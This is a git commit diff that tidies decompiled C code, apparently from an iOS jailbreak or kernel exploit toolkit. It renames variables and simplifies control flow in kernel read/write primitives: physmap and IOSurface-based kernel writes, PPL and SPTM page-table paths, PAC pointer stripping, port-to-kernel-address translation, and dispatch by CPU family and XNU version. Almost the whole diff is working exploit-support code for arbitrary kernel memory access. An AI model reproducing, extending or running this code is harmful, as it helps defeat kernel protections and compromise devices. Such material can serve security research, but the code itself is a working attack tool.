Tidy PTE teardown and write wrappers

This commit is contained in:
khanhduytran0
2026-06-18 14:53:36 +07:00
parent a59ef1b8df
commit b71d1f6560
3 changed files with 59 additions and 114 deletions
+1 -1
View File
@@ -461,7 +461,7 @@ bool __fastcall kread_physmap_decorated(struct_krwCtx *krwCtx, unsigned __int64
bool __fastcall kwrite_physmap_with_a3_ptr(struct_krwCtx *krwCtx, unsigned __int64 a2, __int64 a3); bool __fastcall kwrite_physmap_with_a3_ptr(struct_krwCtx *krwCtx, unsigned __int64 a2, __int64 a3);
__int64 __fastcall krw_write_validation(struct_krwCtx *krwCtx); __int64 __fastcall krw_write_validation(struct_krwCtx *krwCtx);
unsigned __int64 __fastcall find_sptm_pgtable_state_block(struct_krwCtx *krwCtx, unsigned __int64 a2, __int64 a3); unsigned __int64 __fastcall find_sptm_pgtable_state_block(struct_krwCtx *krwCtx, unsigned __int64 a2, __int64 a3);
__int64 __fastcall teardown_sptm_pgtable_state(__int64 a1); __int64 __fastcall teardown_sptm_pgtable_state(struct_krwCtx *krwCtx);
bool __fastcall noppl_kwrite32(struct_krwCtx *krwCtx, mach_vm_address_t address, int a3); bool __fastcall noppl_kwrite32(struct_krwCtx *krwCtx, mach_vm_address_t address, int a3);
__int64 __fastcall iosurface_physmap_kwrite(struct_krwCtx *krwCtx, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5); __int64 __fastcall iosurface_physmap_kwrite(struct_krwCtx *krwCtx, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5);
bool __fastcall kread_u32(struct_krwCtx *krwCtx, unsigned __int64 vaddr, void *outBuf); bool __fastcall kread_u32(struct_krwCtx *krwCtx, unsigned __int64 vaddr, void *outBuf);
@@ -1731,7 +1731,7 @@ __int64 __fastcall driver_close_internal(struct_krwCtx *krwCtx)
v27 = -1; v27 = -1;
if ( !(unsigned int)fd_open_dev_null(&v27) ) if ( !(unsigned int)fd_open_dev_null(&v27) )
{ {
teardown_sptm_pgtable_state((__int64)krwCtx); teardown_sptm_pgtable_state(krwCtx);
fd_close(v27); fd_close(v27);
} }
} }
@@ -2980,4 +2980,3 @@ __int64 __fastcall fs_snapshot(__int64 a1, __int64 a2, __int64 a3, __int64 a4, _
{ {
return syscall(SYS_fs_snapshot, a1, a2, a3, a4, a5, a6); return syscall(SYS_fs_snapshot, a1, a2, a3, a4, a5, a6);
} }
@@ -1,55 +1,41 @@
//----- (0000000000028CE0) ---------------------------------------------------- //----- (0000000000028CE0) ----------------------------------------------------
unsigned __int64 __fastcall find_sptm_pgtable_state_block(struct_krwCtx *krwCtx, unsigned __int64 a2, __int64 a3) unsigned __int64 __fastcall find_sptm_pgtable_state_block(struct_krwCtx *krwCtx, unsigned __int64 a2, __int64 a3)
{ {
int v5; // w0
struct struct
{ {
__int128 v7[2]; uint8_t unused[32];
__int64 v8; uint64_t paddr;
} out; // [xsp+0h] [xbp-50h] BYREF } walk = {0};
memset(&out, 0, sizeof(out)); if ( !pgtable_walk_full(krwCtx, a2, (__int64)&walk, a3).n128_u64[0] )
v5 = pgtable_walk_full(krwCtx, a2, (__int64)&out, a3).n128_u64[0];
if ( v5 )
return (krwCtx->pageMask & a2) | (out.v8 & 0xFFFFFFFFC000LL);
else
return 0; return 0;
return (krwCtx->pageMask & a2) | (walk.paddr & 0xFFFFFFFFC000LL);
} }
//----- (0000000000028D44) ---------------------------------------------------- //----- (0000000000028D44) ----------------------------------------------------
__int64 __fastcall teardown_sptm_pgtable_state(__int64 a1) __int64 __fastcall teardown_sptm_pgtable_state(struct_krwCtx *krwCtx)
{ {
__int64 v1; // x21 uint64_t *state = (uint64_t *)krwCtx->IOKitConnInfo;
uint64_t *v2; // x19 if ( !state )
vm_address_t v4; // x1 return 708609;
vm_size_t v5; // x2
v1 = 708609; if ( state[2] && state[3] )
v2 = *(uint64_t **)(a1 + 7496);
if ( v2 )
{ {
v4 = v2[2]; vm_deallocate(mach_task_self_, state[2], state[3]);
if ( !v4 state[2] = 0;
|| (v5 = v2[3]) == 0 state[3] = 0;
|| (vm_deallocate(mach_task_self_, v4, v5), v2[2] = 0, v2[3] = 0, (v2 = *(uint64_t **)(a1 + 7496)) != 0) ) state = (uint64_t *)krwCtx->IOKitConnInfo;
{ if ( !state )
*(uint64_t *)(a1 + 7496) = 0; return 708609;
*((uint8_t *)v2 + 72) = 1;
__ulock_wake(0x201u, (void *)((char *)v2 + 52), *((unsigned int *)v2 + 12));
pthread_join((pthread_t)v2[5], 0);
*(__int128 *)v2 = 0u;
*((__int128 *)v2 + 1) = 0u;
*((__int128 *)v2 + 2) = 0u;
*((__int128 *)v2 + 3) = 0u;
*((__int128 *)v2 + 4) = 0u;
*((__int128 *)v2 + 5) = 0u;
*((__int128 *)v2 + 6) = 0u;
v2[14] = 0;
free(v2);
return 0;
}
} }
return v1;
krwCtx->IOKitConnInfo = 0;
*((uint8_t *)state + 72) = 1;
__ulock_wake(0x201u, (void *)((char *)state + 52), *((uint32_t *)state + 12));
pthread_join((pthread_t)state[5], 0);
memset(state, 0, 0x78u);
free(state);
return 0;
} }
//----- (0000000000028DFC) ---------------------------------------------------- //----- (0000000000028DFC) ----------------------------------------------------
@@ -728,39 +714,32 @@ bool __fastcall kread64_internal(struct_krwCtx *krwCtx, unsigned __int64 a2, uin
//----- (0000000000029CB0) ---------------------------------------------------- //----- (0000000000029CB0) ----------------------------------------------------
unsigned __int64 __fastcall maybe_sptm_translate_kaddr(struct_krwCtx *krwCtx, __int64 a2) unsigned __int64 __fastcall maybe_sptm_translate_kaddr(struct_krwCtx *krwCtx, __int64 a2)
{ {
if ( !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) || (krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 ) if ( !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) || (krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 )
return a2; return a2;
return krw_xpac_vaddr(krwCtx, a2); return krw_xpac_vaddr(krwCtx, a2);
} }
// 29D08: variable 'vars8' is possibly undefined
//----- (0000000000029D2C) ---------------------------------------------------- //----- (0000000000029D2C) ----------------------------------------------------
unsigned __int64 __fastcall krw_xpac_vaddr_if_needed(struct_krwCtx *krwCtx, __int64 a2) unsigned __int64 __fastcall krw_xpac_vaddr_if_needed(struct_krwCtx *krwCtx, __int64 a2)
{ {
if ( !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) ) if ( !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) )
return a2; return a2;
return krw_xpac_vaddr(krwCtx, a2); return krw_xpac_vaddr(krwCtx, a2);
} }
// 29D68: variable 'vars8' is possibly undefined
//----- (0000000000029D88) ---------------------------------------------------- //----- (0000000000029D88) ----------------------------------------------------
unsigned __int64 __fastcall krw_xpac_vaddr(struct_krwCtx *krwCtx, __int64 a2) unsigned __int64 __fastcall krw_xpac_vaddr(struct_krwCtx *krwCtx, __int64 a2)
{ {
__int64 v2; // x19 uint64_t vaddr = a2;
if ( vaddr && (vaddr & 0x80000000000000LL) != 0 )
v2 = a2;
if ( a2 && (a2 & 0x80000000000000LL) != 0 )
{ {
if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER) if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER)
|| (krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A16_A17_MASK) || (krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A16_A17_MASK)
&& krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(8792, 40, 108, 0, 0)) ) && krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(8792, 40, 108, 0, 0)) )
return v2 | 0xFFFF800000000000LL; return vaddr | 0xFFFF800000000000LL;
else return vaddr | 0xFFFFFF8000000000LL;
return v2 | 0xFFFFFF8000000000LL;
} }
return v2; return vaddr;
} }
//----- (0000000000029DF8) ---------------------------------------------------- //----- (0000000000029DF8) ----------------------------------------------------
@@ -906,30 +885,23 @@ __int64 __fastcall kwritebuf_last_arg_1(struct_krwCtx *krwCtx, __int64 address,
//----- (000000000002A190) ---------------------------------------------------- //----- (000000000002A190) ----------------------------------------------------
unsigned __int64 __fastcall port_right_index_to_kaddr(struct_krwCtx *krwCtx, unsigned int a2) unsigned __int64 __fastcall port_right_index_to_kaddr(struct_krwCtx *krwCtx, unsigned int a2)
{ {
__int64 v2; // x19
unsigned __int64 result; // x0
__int64 v4; // x8
__int64 v5; // x9
int v6; // [xsp+Ch] [xbp-14h] BYREF
v2 = a2;
if ( !a2 ) if ( !a2 )
return 0; return 0;
if ( (a2 & 0x80000000) != 0 ) if ( (a2 & 0x80000000) != 0 )
{ {
v4 = krwCtx->gap_0x1F0; uint64_t tableBase = krwCtx->gap_0x1F0;
if ( v4 ) uint64_t stride = krwCtx->gap_0x1F8;
{ if ( tableBase && (uint32_t)stride )
v5 = krwCtx->gap_0x1F8; return tableBase + (a2 & 0x7FFFFFFF) * stride;
if ( (uint32_t)v5 )
return v4 + (a2 & 0x7FFFFFFF) * v5;
}
return 0; return 0;
} }
result = kernel_va_base_resolver(krwCtx, 0, &v6);
if ( result ) int shift = 0;
result += v2 << v6; uint64_t base = kernel_va_base_resolver(krwCtx, 0, &shift);
return result; if ( base )
base += (uint64_t)a2 << shift;
return base;
} }
//----- (000000000002A200) ---------------------------------------------------- //----- (000000000002A200) ----------------------------------------------------
@@ -1108,10 +1080,8 @@ bool __fastcall noppl_kwritebuf(struct_krwCtx *krwCtx, unsigned __int64 a2, cons
{ {
rawStatus = customKwrite(krwCtx, a2, a3, a4, a5); rawStatus = customKwrite(krwCtx, a2, a3, a4, a5);
TRACE_PORTS("noppl_kwritebuf backend=custom raw=%x\n", rawStatus); TRACE_PORTS("noppl_kwritebuf backend=custom raw=%x\n", rawStatus);
goto done;
} }
else if ( (unsigned int)(krwCtx->threadForKernelRead + 1) >= 2 && krwCtx->threadStateKrwPhysAddr )
if ( (unsigned int)(krwCtx->threadForKernelRead + 1) >= 2 && krwCtx->threadStateKrwPhysAddr )
{ {
rawStatus = iosurface_physmap_kwrite(krwCtx, a2, (__int64)a3, a4, a5); rawStatus = iosurface_physmap_kwrite(krwCtx, a2, (__int64)a3, a4, a5);
TRACE_PORTS("noppl_kwritebuf backend=sptm raw=%x\n", rawStatus); TRACE_PORTS("noppl_kwritebuf backend=sptm raw=%x\n", rawStatus);
@@ -1144,7 +1114,6 @@ bool __fastcall noppl_kwritebuf(struct_krwCtx *krwCtx, unsigned __int64 a2, cons
return rawStatus == 0; return rawStatus == 0;
} }
done:
TRACE_PORTS("noppl_kwritebuf exit raw=%x ok=%d\n", rawStatus, rawStatus == 0); TRACE_PORTS("noppl_kwritebuf exit raw=%x ok=%d\n", rawStatus, rawStatus == 0);
return rawStatus == 0; return rawStatus == 0;
} }
@@ -1174,35 +1143,19 @@ mach_vm_address_t __fastcall ppl_kwrite32(struct_krwCtx *krwCtx, mach_vm_address
//----- (000000000002A63C) ---------------------------------------------------- //----- (000000000002A63C) ----------------------------------------------------
int kwrite64_dispatch(struct_krwCtx *krwCtx, mach_vm_address_t address, __int64 new_value) int kwrite64_dispatch(struct_krwCtx *krwCtx, mach_vm_address_t address, __int64 new_value)
{ {
// Version threshold: XNU_VERSION_PACKED(8019, 60, 40, 0, 0) if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
// = 0x001F530F02800000 {
if (krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(8019, 60, 40, 0, 0)) { if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
return ppl_kwrite_physmap_checked(krwCtx, address, new_value);
// New path: check for specific CPU/capability flag 0x05184001 uint64_t remappedAddress = remap_kaddr_through_physmap(krwCtx, address);
if (krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK)) { if ( !remappedAddress )
// Tail call PAC-authenticated branch to ppl_kwrite_physmap_checked return 0;
return ppl_kwrite_physmap_checked(krwCtx, address, new_value); address = remappedAddress;
} }
// Translate address via remap_kaddr_through_physmap return kwrite64_last_arg(krwCtx, address, new_value, krwCtx->gap_0xC);
uint64_t translated = remap_kaddr_through_physmap(krwCtx, address);
if (!translated)
return 0; // retab with no value set returns 0
// Use translated address, fall through to kwrite64_last_arg
address = translated;
// fall through
}
// Old path (and new path fallthrough):
// ldrb w3, [x20, #0xc] 4th arg = krwCtx->byte_0x0c
uint8_t arg3 = krwCtx->gap_0xC;
// Tail call
return kwrite64_last_arg(krwCtx, address, new_value, arg3);
} }
// 2A6A4: variable 'vars8' is possibly undefined
//----- (000000000002A714) ---------------------------------------------------- //----- (000000000002A714) ----------------------------------------------------
unsigned __int64 __fastcall kwritebuf_universal( unsigned __int64 __fastcall kwritebuf_universal(
@@ -1211,25 +1164,18 @@ unsigned __int64 __fastcall kwritebuf_universal(
const void *newBytes, const void *newBytes,
mach_vm_size_t length) mach_vm_size_t length)
{ {
unsigned __int64 vaddr_; // x22
struct_krwCtx *krwCtx_; // x21
unsigned __int64 result; // x0
vaddr_ = vaddr;
if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(8019, 60, 40, 0, 0) ) if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
{ {
if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) ) if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
{ return ppl_kwritebuf(krwCtx, vaddr, (void *)newBytes, length);
return ppl_kwritebuf(krwCtx, vaddr_, (void *)newBytes, length);
} uint64_t remappedAddress = remap_kaddr_through_physmap(krwCtx, vaddr);
result = remap_kaddr_through_physmap(krwCtx, vaddr_); if ( !remappedAddress )
if ( !result ) return 0;
return result; vaddr = remappedAddress;
vaddr = result;
} }
return noppl_kwritebuf(krwCtx, vaddr, newBytes, length, 1); return noppl_kwritebuf(krwCtx, vaddr, newBytes, length, 1);
} }
// 2A784: variable 'vars8' is possibly undefined
//----- (000000000002A7F4) ---------------------------------------------------- //----- (000000000002A7F4) ----------------------------------------------------
__int64 __fastcall mach_vm_read_with_attr_chunks( __int64 __fastcall mach_vm_read_with_attr_chunks(